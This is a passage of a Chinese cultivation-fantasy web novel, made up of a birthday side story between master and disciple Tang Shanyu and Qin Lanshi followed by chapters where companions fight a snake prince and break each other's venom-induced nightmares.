《我们不是那样的师徒》 山玉·番外 生日蛋糕是什么味的? 甜的。 大多数人都是这么回答的。 蛋糕不是甜的还能是辣的咸的吗? 唐山玉将手机摆在桌面上,长呼出一口气,他今天的工作已经差不多做完了,咖啡喝了不知多少杯,苦涩的味道在口腔里蔓延。 有没有一种可能,不是每一个生日都有蛋糕的,或许一杯咖啡,就能够成为了今天的“生日蛋糕”。 夜已深,可牛马还在工作。 秋日的清凉被风从窗口带了进来,这使得沉闷的办公室得以喘息片刻。 “唐哥,你今天的工作做得好快啊。”有位女同事惊讶地看着唐山玉工位上的已经变成薄薄一层的文件资料。 “还好吧,我过会就下班了,你们记得离开前关灯。”唐山玉将喝完的咖啡罐丢到了垃圾桶里,“垃圾我过会就拿下去丢,你们有什么想扔的垃圾现在就扔吧。” “好咧,没问题。” 哒哒哒……又是一阵清脆的键盘敲字声,唐山玉看着越来越少的文件,心情愉悦了起来,因为他的心已经开始下班了,下班是一件让人开心的事情。 这种心情无论什么时候都适用。 除非你不用上班。 总之,唐山玉把他的工作都完成后就下班回家了,一路上,明灯挂在路边,把他回家的影子拉得老长老长。 路过了一家蛋糕店,唐山玉转头看了一眼,他就看了一下,就继续往前走去。 他不过生日,因为没什么好过的。 有那个时间,还不如回去睡觉。 …… “山玉,你的生日是什么时候啊?”秦兰时叼着根草糖在大躺椅上,就差个墨镜,所以他选择用两片黄瓜贴在眼睛上。 “不知道,因为我家穷,不记这个。”唐山玉正懒洋洋滴躺在小躺椅上,感受着悠闲的阳光。 “不,我是说,你之前的,这个总该知道吧?再不济身份证上还写着呢。”秦兰时一听这话,转了个身,一片黄瓜掉了下来。 “……10月13日。”唐山玉睁开眼,觉得阳光有些刺眼,就又重新闭上。 “…??” “那不就是今天吗!!!”秦兰时发出了一声尖叫,叫得唐山玉抬手捂住自己的耳朵。 “没事,我本来就不怎么过生日。”唐山玉等人叫完后,才放下手,他叹了口气,随后坐直身子,伸了个懒腰,“休息差不多了,我要继续练剑了。” “你小小年纪!”秦兰时语调抬高,伸出手拽住了想要去练剑的小孩,“应该睡得着才是啊,别练了别练了,快过来躺。” “……”唐山玉从善如流地躺了回去,“既然你都那么说了。” “…但是,生辰还是要过的。”秦兰时将这孩子翻了面,让阳光均匀地晒过每一层皮肤。 “……既然你想过,那就过吧。”唐山玉被翻了个面,整个人被阳光晒得暖洋洋的,太温暖了,他感觉自己快要睡过去了。 “…喂,你这样就不够意思了。”秦兰时听到这话略有不满,所以他将这小孩一把从躺椅上抄起来,夹在了腋下。 唐山玉:…… “做什么?” “做你这个年纪该做的事情。”秦兰时得意地瞥了一眼小孩,便带着他一路从山上狂奔而下。 唐山玉被颠得整个人都要不好了,等这一路的颠簸结束后,他才发现自己和秦兰时不知道什么时候站在了一条小舟上,小舟轻轻飘在湖面上,周围是芦苇丛,正随着风摇晃着纤细的身躯。 “?”唐山玉四周张望,看了好几眼,确定这些不是幻觉的时候,他就看到了不知道什么时候拿出鱼竿开始垂钓的秦兰时。 “几个意思?”唐山玉走过去踢了踢鱼笼,里面空空如也,什么都没有,“我这个年纪是钓鱼的年纪吗?” “因为你有新手保护期啊!快过来,快过来摸鱼竿,没准能钓上来呢!” “哪有那么……”唐山玉走过去摸上了鱼竿,还没等他说完,他就感觉到手上的鱼竿一边沉了下去。 唐山玉:? 今天的问号扣挺多的。 “哦哦哦!来了!山玉快拉,你快用力拉啊?” 他,他吗? 唐山玉听到这话,随着手上的鱼竿力度加大,他也跟着发力,就算年纪不大,但他也是个修仙者,所以很快,他就把鱼给钓上来了。 这鱼还挺大的,差点没把唐山玉给砸晕。 秦兰时提起这条鱼,连续啧啧啧了好几声,说不上他是高兴还是不高兴,这种情形分为两种,高兴钓到鱼了,不高兴不是自己钓的。 “…这是生日礼物?”唐山玉不确定地看了一眼鱼,毕竟他们穷,哪有那么多贵重礼物送。 “算一部分吧?”秦兰时开始在小舟上架起火烤鱼,也不知道他使了什么法子,一下子火就燃了,而且没有烧到脆弱小舟上。 唐山玉见此也就盘腿坐下,他有想过秦兰时会特地在这一天带他做什么,或许去玩,也想过或许今天他也会有个生日蛋糕,不过他怎么想都没有想到,秦兰时会带他来钓鱼。 这样想着,唐山玉抬起头,去接受那迎面而来的风,他看着远方的太阳正一点一点地往下边落下。 这里风景倒是不错,连绵不断的山峰,跃过山峰的云层,被风吹拂的芦苇丛,浮光跃金,还有渐渐散开的烤鱼香气。 “诺,烤好了,你一半,我一半。”秦兰时把一半的烤鱼抵在了唐山玉的嘴边,唐山玉张嘴就叼住。 “好吃吗?” 唐山玉点了点头。 “其实我带你来这里不是只有烤鱼。”秦兰时那么说着,只见他大手一挥,刹那间,那边的残阳飞速落下,星辰在他那大手一挥间重新挂在了黑色夜布上。 金色没入了夜幕,银月重新映入人们的眼帘。 “怎么样?厉害吧?“只见秦兰时微微动了一下手指,天上的星辰便重新排序,只见一个小人于夜幕上浮现,它张开双臂,开始跳起了钢管舞。 唐山玉:…… “这里是小天地…?”唐山玉从所学的知识里,拿出了那么一个词和此时此刻的情形对上号。 “对,我和人借的!”这话说得非常秦兰时,理直气壮,丝毫不虚。 虽然不知道自己怎么进来的,但是这不是重点,重点是唐山玉发现夜幕上的小人已经停止了钢管舞,开始跳起了广场舞。 “停。”唐山玉出声止住了这个小人的舞蹈。 “怎么了?”秦兰时还没操控完呢,他有些疑惑地看了过来。 “我要看你自己跳。” 秦兰时:…… 此时此刻,唐山玉的眼神格外地坚定。 “跳哪个……?” “钢……” “广场舞对吧!我最会广场舞了!”秦兰时先发制人地走到水面上,开始在月亮之下翩翩起舞,虽然是广场舞。 唐山玉有些失望地吃着烤鱼。 不知何时,四周的萤火从芦苇丛里飞了出来,像极了星辰散在湖面上。 而秦兰时也停止了广场舞,走了过来,重新坐回了小舟上,他长长呼出一口气,转头看向了正欣赏萤火的唐山玉。 “生辰快乐。” 水波粼粼,萤火纷飞,地上的星星正努力地发着光,一晃过去,小孩已然不在,坐在小舟上的,是一位青年,他抬起手,去接住一只地上星。 而秦兰时的吻伴随着那声生辰快乐,轻轻地落在唐山玉的唇上,萤火虫的星光轻点在湖面上,泛起了层层涟漪。 “这次,还跳广场舞吗?”唐山玉微微喘着气,伸出手勾住了对方的手指。 “还跳,不行吗?”秦兰时轻哼了一声。 “当然可以,这说明你始终如一,我很欣慰。”唐山玉轻笑了一声,山川依旧在,人是最易变的,若是没有任何变化,或许也是一件好事。 “这句话是你来说吗?不是我来说吗!”秦兰时凑过去,又亲了好几口,“这次的小天地可不是我借的,是我买的,能待多久就多久。” “多久都可以?”唐山玉看过去。 “多久都可以。”换来了秦兰时一个坚定的眼神。 烛火将俩人的身影映在小舟上,不知是谁翻身而过。 小舟轻晃,荡起了一丛萤火。 “我的礼物呢?”唐山玉垂眸看着底下的人,那人的脸上正泛着情动的红。 “哈,不就在你面前嘛。”秦兰时听到这话,抬手主动勾住唐山玉的脖子,把自己凑了过去。 “那还真是非常珍贵的礼物。”唐山玉听到这话,轻笑了一声,将躺好的秦兰时拉起来拥入自己的怀中。 “……突然那么纯爱,还真的让人有点不好意思的。”秦兰时被抱住后小愣了一下,随后他抱了回去。 “总之,山玉,生辰快乐。” “嗯,好。” 或许,生日什么的,也可以稍微过一下。 第160章 对面的少年看过来 突然产生的失重感往往会让人陷入一瞬间的恐慌。 人类本来是不会飞的,就算是鸟儿,也有过一段只能仰望于天空的经历。 可当人们学会飞翔的时候,那么无论多高的天空,都不会阻挡住他们前进的步伐。 所以,只有一瞬间的惊慌,众人很快就在失重的空间里调整好了姿势,并且纷纷借用自身的灵力浮空而起。 但是这样子消耗的灵力会很多,所以人们为了实现在天空的持久性,飞行法器也就因此而诞生了。 秦兰时和任海是最先反应过来的,他们纷纷将自身的神识往四周放去,寻找着造成这一切的源头。 “师父。”唐山玉踩着飞行法器来到了秦兰时身边,“对方似乎在阻拦我们继续往那边走,不然这个殿下应该不会造出这样的动静。” “说起来也是哦,看来我们应该是方向走对了呢。”任海在一旁听到这话,嘿嘿一笑,随后非常认可地拍了拍唐山玉的肩膀。 秦兰时想了想又说道,“或许这个家伙有什么怪癖呢?” “什么怪癖?”任海看了过去。 “看人乐子的。”秦兰时语气很是肯定地道。 “这不是你吗?”唐山玉淡淡地说了那么一句,在获得秦兰时一个怒瞪前,他率先往上飞去。 “喂!你等等我!”秦兰时见人想要跑,就紧跟着上去。 胡长乐和石泽竹互相看了一眼,便从心地跟了上去。 慕轻轻……慕轻轻她早就在唐山玉说出那句走对的话语后,就继续往上飞去。 谢璟见大家都走了,正准备也跟上去的时候,任海突然出声叫住了他。 “谢小友。” 谢璟转头看了过去,“任前辈所为何事?” “你这剑看上去还挺不错,是哪里拿的?”任海就那么嘿嘿笑着,看上去人畜无害得很,可无端地,谢璟却感觉到一股没来由的寒意涌上心头。 “…家里给的。”谢璟顿了顿,那么回答道,这个回答很是含糊其辞。 “哦,这样啊,那走吧,你的家人们已经走远了哦。”任海得到了这个回答,似乎很是满意,接着他指了指那几人远去的方向。 “…嗯。”谢璟应了一声,头也不回地往那几人离开的方向飞去,他手心里头正握住弟子灵符,那是秦兰时出发的时候派给他们的,说有危险就往里头注入灵力,然后无论在哪里,就算在拉屎,他也会冲过来救人的。 虽然这话说出了一半就被唐山玉给捂住了嘴,但是谢璟还是能够听到这里头…屎意。 可是修仙者辟谷了,不会拉…屎。 可能……秦师叔是想这样说,容易加深他们的印象吧……应该是吧…… 不管如何,在众人赶到了这条崎岖之路的尽头时,他们感觉到了四周的寒气愈发的强烈,冰冷的气息将他们包裹在其中,仿佛呼吸都能被这份寒冷给冻结。 而在路的尽头,有一块巨大的冰晶,晶体上正坐着一位黑色斗篷的少年,明明此处那么寒冷,可他却穿得那么单薄,浑身上下似乎就穿了一件斗篷。 此刻,冷风起…… 唐山玉果断地伸出手捂住了胡长乐的眼睛,并且发出了一声长辈的怒骂,“他怎么里面也不穿??” 谢璟反应慢了半拍,然后在他看到唐山玉捂住胡长乐眼睛的时候,这才想起什么,就也伸出手想要捂住慕轻轻的眼睛。 但是手却被慕轻轻拍开了,“喂,谢小一,就这玩意儿,我又不是没看过。” 谢璟:…… 不知道为什么,他有一种奇怪的失落感,这种失落感在胡长乐开口和唐山玉说话的时候感受得更加明显。 “唐,唐哥,他里面真的没有穿吗?”胡长乐磕磕巴巴地问道。 “对,小孩子不要看。”唐山玉非常果断地回道。 谢璟看了看目不转睛的慕轻轻,举着的手就那么缓缓放下了。 “就是你吧?那个什么殿下?”慕轻轻抱臂站在下方,虽然在抬头看人,不过她的气势给人的感觉就是高高在上。 “嗯?”少年看了过来,在他看到慕轻轻的时候,笑容也流露在了脸上,这种感觉给人就像原本平静的死水突然翻涌起来,“啊……对……” 不知为何,大家都看到了少年脸上浮现出奇妙的红晕。 “是我。” “…哈?就你还敢自称殿下?”慕轻轻上上下下扫视了一遍这个少年,便往后甩了甩头发,露出藐视的眼神,“你还未化龙吧?说殿下是不是有些早了?” “哈哈……龙族果然一向那么霸道啊……不过,我化龙是迟早的事情。”少年歪了歪头,身上的那件单薄的衣服让唐山玉不敢放下手。 “哦?想得倒是挺好,那你……”慕轻轻似乎还想说什么,就被秦兰时开口打断了。 “你是故意的吧?”秦兰时挡在了慕轻轻的身前,轻轻抬眸,语气带笑,“故意把殿下这个称呼流出去,或许其他海族不会在意,可若是龙族的话,就会对此感到气愤。” “并且还是位拐卖许多少女的殿下,这能够玷污到龙族的名声……不过,我觉得龙族应该没多少名声……”任海偏过头去,把秦兰时的话给补齐。 “…喂。”慕轻轻听到这话,有些不满。 “怎么,你们龙族身为霸主,在海上横行霸道那么久,真的还有多少名声吗?不少海族都说你们趾高气扬,不懂何为礼节呢。”任海抬起手,摸了一把要炸毛的慕轻轻。 “这是诽谤,我们在外边很重礼节的!!”慕轻轻本能地反驳回去,随后便听到旁边的唐山玉咳嗽了一声。 “……”慕轻轻反应过来了什么,便不再开口。 “任道友,我这小辈性子的确欢脱了些,不过她和那些龙族不太一样,所以无论你和龙族有什么过节,请不要把气撒在小孩身上。”秦兰时在旁边笑了笑,此刻他已经抚上了腰间挂着的剑。 “那是当然,毕竟她看上去和我女儿一样大,我喜欢还来不及呢。”任海哈哈大笑,随后把视线重新放在了高处的少年身上,“这拐卖姑娘的活你是什么时候开始做的?” “拐卖?”少年听到这话,歪了歪头,随后淡笑道,“那不是自愿奉献吗?” “不要脸!”胡长乐听到这话,非常气愤地甩开唐山玉的手,然后低头看着冰晶开口怒骂道。 “惺惺作态。”唐山玉见胡长乐没有抬头看长针眼的东西,就把手给放下来,然后他也跟着评价了一句。 “无耻。”谢璟紧跟了一句。 “……”石泽竹左看看右看看,轮到他了吗?他应该说什么啊,于是他用毕生的词汇接了一句,“混蛋。” 慕轻轻有千言万语想要输出,但是她想起了在旁边的任海,便默默在心里开始输出芬芳之语。 “那我来总结一下吧,我们是说……”秦兰时见人说得差不多了,就笑容满面地摆了摆手,下一刻,他的声音就冷了下来,“你这样的家伙就应该被淹死在屎坑里。” 少年眉头轻挑,似乎在思考这些话的意思,不过很快,他就放弃了思考,只见他拍了拍手,“嗯,对,就这样吧。” 仿佛拳头打在了棉花上。 “不管怎么样,我很高兴见到你们。”他那么说着,就从高高的冰晶上跳了下来,并且赤脚踩在寒冰上。 “一,二,三……”他似乎在数着什么,身上的斗篷将他勉强盖起来,他完全可以不穿的,但是他还是穿了。 “而且都还是修仙者……”他脸上的红晕更加明显了,随后他笑着捂住了胸口,“啊,谢谢你们,太好了。” 话音刚落,秦兰时和任海就各自在他的两边出现,一人拿着剑,一人挥着拳头,然后就那么打在了少年的身上。 俩人一愣,因为他们发现那少年在他们攻击上去的时候就不见了,轻飘飘的,仿佛水生的雾。 而四周的冰晶也都冒出了白色的雾气,这雾气将众人笼罩在了其中。 “?!”猛地,秦兰时转过头去,他看到了少年的影子出现在了唐山玉的身后,而一根冰刺自唐山玉的胸膛长出,冰刺上染上了赤红的血。 “…唐……”秦兰时突然感觉到眼前的景象有片刻模糊,心里的胃翻涌着,恶心的感觉自体内蔓延,有什么被抑制住的东西要从胸腔里头钻出。 “唐山玉!!!!” 寒气依旧蔓延,灵力在空气里头涌动,无神的眼睛正倒映着不远处的一抹金色。 “……哇。”少年发出了惊讶的声音,“明明在这里待了那么久,可是你却丝毫没有被这些寒气给影响哎。” 此刻,唐山玉正拿着剑和眼前的少年对峙着,周身正被金色火焰所环绕着。 而在他旁边,秦兰时跪在了地上,他的神情很是惊恐,嘴里念叨着什么,就这样,他张开双臂仿佛想要拥抱什么,但是这在唐山玉的视角里,他什么也没抱住。 “…原来是这样,你把蛇毒附着在寒气里头,除非我们闭气,不然就绝对会吸收进去。”唐山玉看了一眼秦兰时的状况后,发现人只是陷入了某种绝望的幻觉里,就缓缓松了口气。 “对,你应该也吸收了才是,怎么会一点事情都没有呢?”说着,少年对唐山玉吐了吐细长的红舌,就在这时,唐山玉可以感觉到他四周的寒气突然浓郁了好几个档次,冷得他差点连剑都握不稳了。 可与此同时,他感觉到体内出现了一团火,这是一团拼命燃烧的金色火焰,而这团火会把入侵体内的寒气都给一一驱散。 “…你体内有什么?”少年显然是发现了什么,他露出了饶有兴趣的表情,随后便一步两步地往唐山玉这边走来。 “……”唐山玉没有回答,他冷静地看着少年一步两步地朝他走来,或许对方以为他的手脚已经被冻得不能动弹。 就在少年伸出手就要抚上唐山玉那丹田的时候,唐山玉动了,只见他果断地将手上的剑狠狠地往那少年身上劈去,烈火将少年仅有的袍子燃烧殆尽。 现在少年是彻底在裸奔了。 只不过这已经不是重要的点了,唐山玉在劈完这一剑后,就果断地往后退去,他拉开了自己和少年的距离,并且准备找机会反击。 少年看着离逝的袍子,满不在乎地弹走身上的焦灰,就这样赤裸裸地站着,在他那大手一挥下,唐山玉就猛地转了个方向,而与此同时,他侧身闪过的地方,一枚尖锐的冰刺从地底下钻出,擦着他的腰间而过。 “躲得还挺快,像我之前吃过的老鼠。”少年想着,就转身打了个响指,在秦兰时跪着的地方突然涌出了不少尖刺,眼看着就要把人刺穿的时候,唐山玉一道焰火斩把这些尖刺一一击碎。 而秦兰时也落到了唐山玉的怀里,只不过还未清醒过来,这让唐山玉有那么一丝丝绝望。 他打蛇殿下?真的假的? 秦兰时既然也中招了,那么对方的实力应该不容小觑,这种情况下,他还打上去,绝对是去送。 或许有人会产生疑问,打不过,他还不会跑吗? 是,唐山玉是打算跑一下,但是他发现这家伙似乎为了让自己刚上去,直接攻击了他的同伴。 就在唐山玉一手慕轻轻一手胡长乐躲过了冰刺的攻击后,不远处的谢璟和石泽竹脚底下又出现了新的冰刺。 唐山玉:…… 他把手上的俩人一丢,又冲过去救人,就这样来来回回,仿佛是被对方甩着玩那样,与此同时,他的灵力和体力在被不断地消耗着,在最后的时候,唐山玉感觉到自己双腿开始发麻,扑通一声就这样单跪在了地上。 呼吸声正急促着,唐山玉总感觉自己的脖子仿佛被什么东西给掐住那般,差点没呼吸上来。 可新的冰刺就在眼前,怎么能够停滞不前? 这一次对方攻击的对象是任海,在那之前,唐山玉也帮任海躲过了几次攻击,可这一次,唐山玉感觉到自己的双腿似有千斤重,他实在是一步都迈不开了。 冰刺在凝结,双腿动弹得困难。 “…呼…呼…”冰冷的空气随着他的呼吸涌入口鼻里,体内的火再次将这份寒冷给驱散,就算这样,四肢也因无力而无法动弹。 “…慢着。”唐山玉终于出声了。 “你似乎还没有打过我吧?”唐山玉吐了一口血在旁边的冰面上,只见他将剑插在地上,随后借力重新站了起来,“我已经动不了了,恐怕不能和你玩这种你打我救的游戏了。” “要不,就这样结束吧。” “看在我陪你玩那么久的份上?” “……”少年沉默了一会,应该是听了进去,“不过,为什么是你先死?” “嗯?” “你大可以求我把你留到最后杀,反正你都说你陪我玩了那么久了,这点要求我又不是不能答应 ”少年摆了摆手,他依旧在裸奔。 “…不要。”唐山玉果断地拒绝了,“与其看着他们死,不如我先死,你不懂,有时候活着,可比死了要难受呢。” “所以啊,我才不要遭这个罪。” 少年歪了歪头,也不知听没听懂,不过,唐山玉可以感受到自己四周的寒气再次浓郁起来,在察觉到这个的时候,他难得笑了一下。 他闭上眼。 …… 然后又睁开眼。 只见不远处的那个少年被任海一个拳头给打歪了头,四周的寒气也因为这个而瞬间散去,冰冷不再,温暖将至。 “嘿,哥们,别玩冰块了,来玩拳头啊。” 第161章 噩梦尽头 海浪击打在大石头上,美丽的歌声伴随着阵阵浪声朝着任海奔涌而来,他听到这道歌声,赤着脚在沙滩上行走着,他往歌声的地方走去。 在海上,他看到了一道温柔的景色。 如月光般皎洁的长发,银色的鱼尾,少女美丽得像天边的明月,水珠轻轻飞溅而起,水珠被月光照耀成了银色。 她的头发摸上去像温柔的水,肌肤滑如白玉,声音也好听,好听得仿佛不是此间应有的。 少女被他拥入怀中,她的歌声依旧唱着,啊啊,这种情况就像温柔的月掉入了水中,那层层的银光带着闪烁的星散开而来。 任海缓缓闭上眼,少女的发丝勾住了他的手臂,同样也勾住了他的心,那双眸子定眼瞧着他,流光的宝石倒映着他此时此刻的模样。 是一位充满爱意与柔情的短发少年。 任海抬起少女的手腕,无比虔诚地于手背上落下一吻,温热的唇触碰了冰冷的肌肤,歌声也因此而停止了哼唱。 “任……” 少女转过头来,她的笑容和记忆里一样美丽,任海就那么看着她,看着少女轻启唇齿,喊出了他的名字。 “任舟行。” …… 一个拳头伴随着急风再次打在了那个蛇殿下的脸上,任海看着打歪的脸,毫不犹豫地又给了他一拳头。 唐山玉则坐在旁边呆呆地看着凶猛殴打蛇殿下的任海,只见那一招一式下都带着要把这家伙送下去的狠毒。 “等等,任前辈!”唐山玉出声想要制止一下任海的行为,他刚喊完,任海的拳头就在距离蛇殿下那扭曲的脸蛋几毫米前停了下来。 “怎么了?唐小友。” “虽然任前辈能够摆脱这厮的控制我很开心,不过我的师父和伙伴们还深陷控制里,前辈可否高抬贵手,把他打得看上去要死了,其实还能说话的状态?”唐山玉感觉到自己灵力在渐渐恢复,不过还是很少。 “哦,懂了,你要问话是吧?”任海听到这话,表示理解,理解完了后,他就把蛇殿下打了个半死,随后就丢在了唐山玉面前。 “感谢前辈理解。”唐山玉松了口气,便站起身来,摇摇晃晃地往那蛇殿下那边走去,第一步,他拿出一块破布把裸着的蛇殿下给盖住。 “问话的事情倒是先不急,比起他口中的言语,我更想听任前辈说的。”唐山玉说完,抬起头,往正在扭动手腕的任海那看去,“前辈中了蛇毒,是如何解的?” “啊,这个啊,其实蛇毒不难解,难的是能不能恢复清醒,只要清醒的话,区区蛇毒把它逼出去就行。”任海说着,就走过来,在唐山玉的旁边盘腿坐下。 “…那前辈又是怎么清醒过来的?”说到这里,唐山玉的语气顿了顿,又接着问道,“还有就是…前辈在幻觉里经历了什么?” 任海扶着下巴,略微思索了一下,“唐小友是问我看到了什么是吧?其实……” 说着,任海就抬脚踩了一下那蛇殿下,“我看到了不是很好的事情,所以我很生气。” “看出来了。”唐山玉点了点头,表示自己明白了,随后他也跟着踢一脚地上的蛇殿下,“怎么解毒?快说,不然我让任前辈把你给剥皮了。” 蛇殿下听到这话后,便淡淡地抬眼看了唐山玉一眼,尽管他脸上挂了彩,可他给人的感觉还是一如既往地淡。 “就那样解啊,我又不是什么厉害的蛇。” 他承认得倒挺快。 “怎么让他们清醒?” “你觉得他们怎么样会清醒,就怎么样清醒。” 说了和没说似的。 唐山玉略微思考了一下,就站起来,他看了看石泽竹又看了看谢璟,最后他抬起手,往石泽竹那坚硬的脑袋上就是一巴掌。 脑袋没事,手有事。 唐山玉果断地收回了手,他转头看向了谢璟,谢璟正陷入了一种奇异的状态,他脸色惨白得很,看上去很不好受。 唐山玉揪住人的衣领子,他再次举起手,准备给谢璟也来一巴掌醒醒脑子。 “我也来帮忙吧。”任海不知道什么时候走了过来。 “…帮忙什么?”唐山玉抓住谢璟衣领子的手微微一松。 任海比划了一下拳头打出去的手势。 唐山玉想起那蛇殿下的情况后连忙摇了摇头,他还是有点良心的。 “啊,任前辈是怎么清醒过来的?”突然,唐山玉想起了什么,看来谢璟不用挨这一打了。 “这个啊,我只是走到了噩梦的尽头。” 在梦里,任海不断地往前走,就在这时,天空突然下起了血红色的雨,雨水中带着腥味,他仰起头,感觉到那雨水落在自己的脸颊上,缓缓流下,像是要给他画一道完美的泪痕。 曾经的少女现在躺在了地上,身下的血不断地往外蔓延,蔓延到了任海的脚下,任海低着头,看着少女那绝望的面孔。 曾经的歌声已然不在,现在留下来的,只有死一样的寂静。 还有孩子…… 孩子被她抱在怀里,和她一样失去了歌声。 “阿音………” 他跪了下来,任由那血沾染上自己的衣衫,雨还在下,水位逐渐上升,无言的绝望即将把他给淹没。 任行舟将俩人抱入怀里,他是一位丈夫,同时也是一位父亲。 血红的水渐渐淹没他的头顶,视野也变得模糊起来,任行舟感觉到呼吸困难,像被什么掐住了脖子,等他低头一看,他看到了伸手掐住自己脖子的阿音。 阿音的脸上布满了血,她看上去像在流泪,又或者在控诉着什么,而女儿也不知什么时候抬起头,她用着那双空洞的眼睛望着任行舟。 “爹爹……为什么,为什么你没有来救我们?” 任行舟……任海他将那蛇殿下再次放在了地上摩擦了几下,“只要噩梦结束了就可以了,当然,在那之前,你要知道这是个噩梦。” “知道噩梦,才知道怎么醒过来。” “……所以。”唐山玉的神情逐渐严肃,“扇巴掌有用吗?” “…不知道,你要不要试试?”任海觉得这孩子还真是莫名的执着。 …… 试试就逝世。 谢璟觉得自己绝对是在噩梦里,他虽然明白这一点,但是他还是无法逃离这个该死的梦境。 挂在树枝上的母亲,倒在血泊里的父亲,他所看到的一切无不告诉着他死亡的含义。 谢璟冷眼看着这一切,就开始四周搜寻起出口,虽然不知道自己为什么突然进入了幻境,但是既然是幻境,那么就肯定有出口。 一道题,既然被创造出来,就肯定有解法的。 没有解法,纯粹是还没有找到。 继续往前走着。 他看到了一抹白色身影,那道身影立在血水里,仙人的衣裙怎可染上这等污秽?谢璟不可避免地皱了皱眉,在他心里,这种事情和顾延清是不可能凑在一起的。 “师父。”虽然这样,谢璟还是喊了一声,他看着远处的顾延清,心里想着这个噩梦到底利用顾延清打算给他编织一个怎么样的梦境。 顾延清似乎听到他的声音,转过头来,他的面容看上去依旧那么冷清,是啊,这就是他心里的顾延清。 谢璟正想开口说点什么,就看到顾延清一步两步地往他这边走过来,这让他把想要说出口的话给咽下去。 顾延清走过来,一边走一边缓缓举起了手,就在顾延清的手即将接触到谢璟的脸颊的时候,突然…… 顾延清握紧了拳头给了谢璟的脸一下,不重不轻,但是谢璟还是被这一瞬间的拳头给打飞了。 谢璟:……? 他飞出去,摔在了血水里,整个人处于不敢置信的状态。 谢璟捂住脸颊,一脸无助,这个噩梦到底怎么回事?难不成他害怕的是师父打他吗? 不,这不可能! 就在这强烈否定下,谢璟醒了,他感觉到左脸颊的疼痛,这和梦里挨到的是同一个地方,与此同时,他也的确摔在了地上,而不远处,是刚刚松开拳头的唐山玉。 “…啊,真的醒了哎。”唐山玉看上去特别意外,他没想到还挺有用的。 谢璟:…… 虽然不知道什么情况。 但是谢璟选择站起来,拔出了他的万古剑,冷声中带着无限的杀意,“来决斗吧。” 第162章 入梦 最终俩人还是没有决斗。 毕竟场地不合适。 或许到合适的那一天就会决斗吧。 唐山玉见谢璟醒了,就示意他过去给石泽竹一拳头,谢璟阴沉沉地看了一眼石泽竹,然后开口道,“我根本就不是因为这个醒的。” “不是?可是你分明是被我打了才醒过来的啊。”唐山玉低头看了一眼自己的手,有些不解。 “…不过也可能是因为你打的缘故吧……”谢璟想起打他一拳头打幻境顾延清,内心是强烈地抗拒的。 “所以到底是不是啊?”唐山玉见人说不出个所以然来,也不耐心等待了,“总之你打一拳不就知道了?” 谢璟听到这话,也觉得合理,于是他过去打了石泽竹一拳头,然后石泽竹没有醒。 下一刻,谢璟眼里写满了:看吧,我就说不是。 唐山玉摆了摆手,随后看向了这里的前辈,“任前辈可有方法?” 任海见唐山玉诚心诚意地发问了,也就笑嘻嘻地告诉了他们另一个法子,那个法子就是入梦,进入那个人的梦里,把那个人给揍醒。 “一定要揍吗?”唐山玉对此有些怀疑。 “哈哈,如果不揍也能醒,那就不揍呗。”任海扭了扭手腕,随后站起来,往石泽竹那边走过去,“不信的话,我给你们示范一遍。” 只见任海摸上了石泽竹的脑袋,闭上眼,将他的神识注入其中。 “等一下!识海不是随便一个人都能进……”唐山玉见此就伸出手想要阻止,下一秒,他就看到了石泽竹好像被什么打了一拳那样往后倒了下去。 随后,石泽竹就清醒了过来,他呆愣地看着眼前的一幕,甚至还摸了摸自己的肚子,“没…没饿着啊。” “你有没有哪里不舒服?”唐山玉走过去,蹲下来打算检查一遍这个人的状况。 “没,没有。”石泽竹乖乖回答道,“只是我有点想吃东西。” 因为在梦里,他一直在饿着肚子。 “哈哈,唐小友,放心好了,我这是入梦,不是入识海啦,毕竟他们不是在做噩梦嘛?”任海摆了摆手,笑哈哈地继续道,“那么接下来,你们打算怎么办?” “……”唐山玉转头看向了那个倒在地上仿佛奄奄一息的蛇殿下,虽然已经倒下了,但是唐山玉觉得这家伙没有死之前都是一个威胁。 没有补刀纯粹是还有东西要问他。 如果要入梦的话,最好是他,谢璟还有石泽竹三人入梦,因为好歹都是自己人,不会那么排斥,可要是都入梦的话,那么他们的性命就被任海掌握在了手里。 “…你先去吧。”谢璟瞥了一眼唐山玉,很是明了地点点头道,“你先去秦师叔那里,等他醒过来就一切都好办了。” 是啊,等秦兰时醒过来,他们就不用担心这个任海了。 唐山玉这样想着,就坐到了秦兰时的身边,他看着此时此刻非常破防的秦兰时,也不知道这个人陷入了一个怎么样的梦境呢? 任海笑看着他们,没有任何动作。 …希望任海可以看在他之前尽心尽力保护过的份上,不要有其他小动作。 “…那这里交给你了。”不管如何,如果就此停滞不前,是不会得到什么结果的,只见唐山玉冲谢璟点了点头,随后便伸手抚上了秦兰时的脸,他闭上眼,任由自己的神识往里头沉下。 在唐山玉入梦后不久,谢璟看了那边几眼后,就转头和石泽竹道,“慕小轻那边交给你了。” 石泽竹愣了一下,就有些疑惑地问道,“我们不用等山…啊不,他们入梦结束再去吗?” “哦,这个啊,有我在就好了,你可以放心去。”谢璟说着,对着慕轻轻一指,“而且,她状况好像不太好。” 慕轻轻看上去脸色的确惨白,比起在旁边神情安详的胡长乐,她的情况似乎更严重一些。 “啊!她流了好多汗!”石泽竹连忙走过去,查看起慕轻轻的状况,发现她不仅仅只有脸色不好,身子也在止不住地颤抖。 “是啊,所以快去吧。”谢璟站在那边,不紧不慢地出声提议道。 “那我先去看看情况了!”石泽竹见谢璟胸有成竹的模样,就十分信任地入梦去了。 谢璟见石泽竹也入梦了,就缓缓叹了口气,随后他转身看向了站在那边看着他的任海,“我们,来聊聊?” 任海听到这话,有些不好意思地摸了摸鼻子,“哎呀,被发现了啊。” “…你的目的,是什么?” “…真是单刀直入的问题,让我想想我应该怎么回答比较好呢?”任海放下手,哼哼一笑。 “啊,我就那么说吧……” 漫天的雨在山上疯狂落下来,它直直地击打在跪在地上的男子身上,他的衣服上沾满了泥土和血,这些东西混合在一起,显得他整个人都狼狈不堪。 唐山玉爬上山后,看到的就是这一幕,他看着这个熟悉的身影跪在一个……墓碑面前,背对着他,任由自己被这狂风暴雨给霸凌。 唐山玉:…… 他总觉得这个墓碑是他的,但是他暂时没有证据。 于是唐山玉走上前去,凑过那边看一眼,只见这墓碑上面果然写了他的名字。 确认完毕,证据确凿。 这是他的墓碑。 唐山玉看到这一切的时候,发出长长的一声叹息,他大概明白这是什么情况,也知道这个人的心结…… 人是复杂多变的。 曾经秦兰时的心结是无法改变的命运,而现在的是不想失去的唐山玉。 唐山玉变成了他现在的心结。 倘若放着不管,那或许会变成一个新的心魔。 任重道远,任重道远啊。 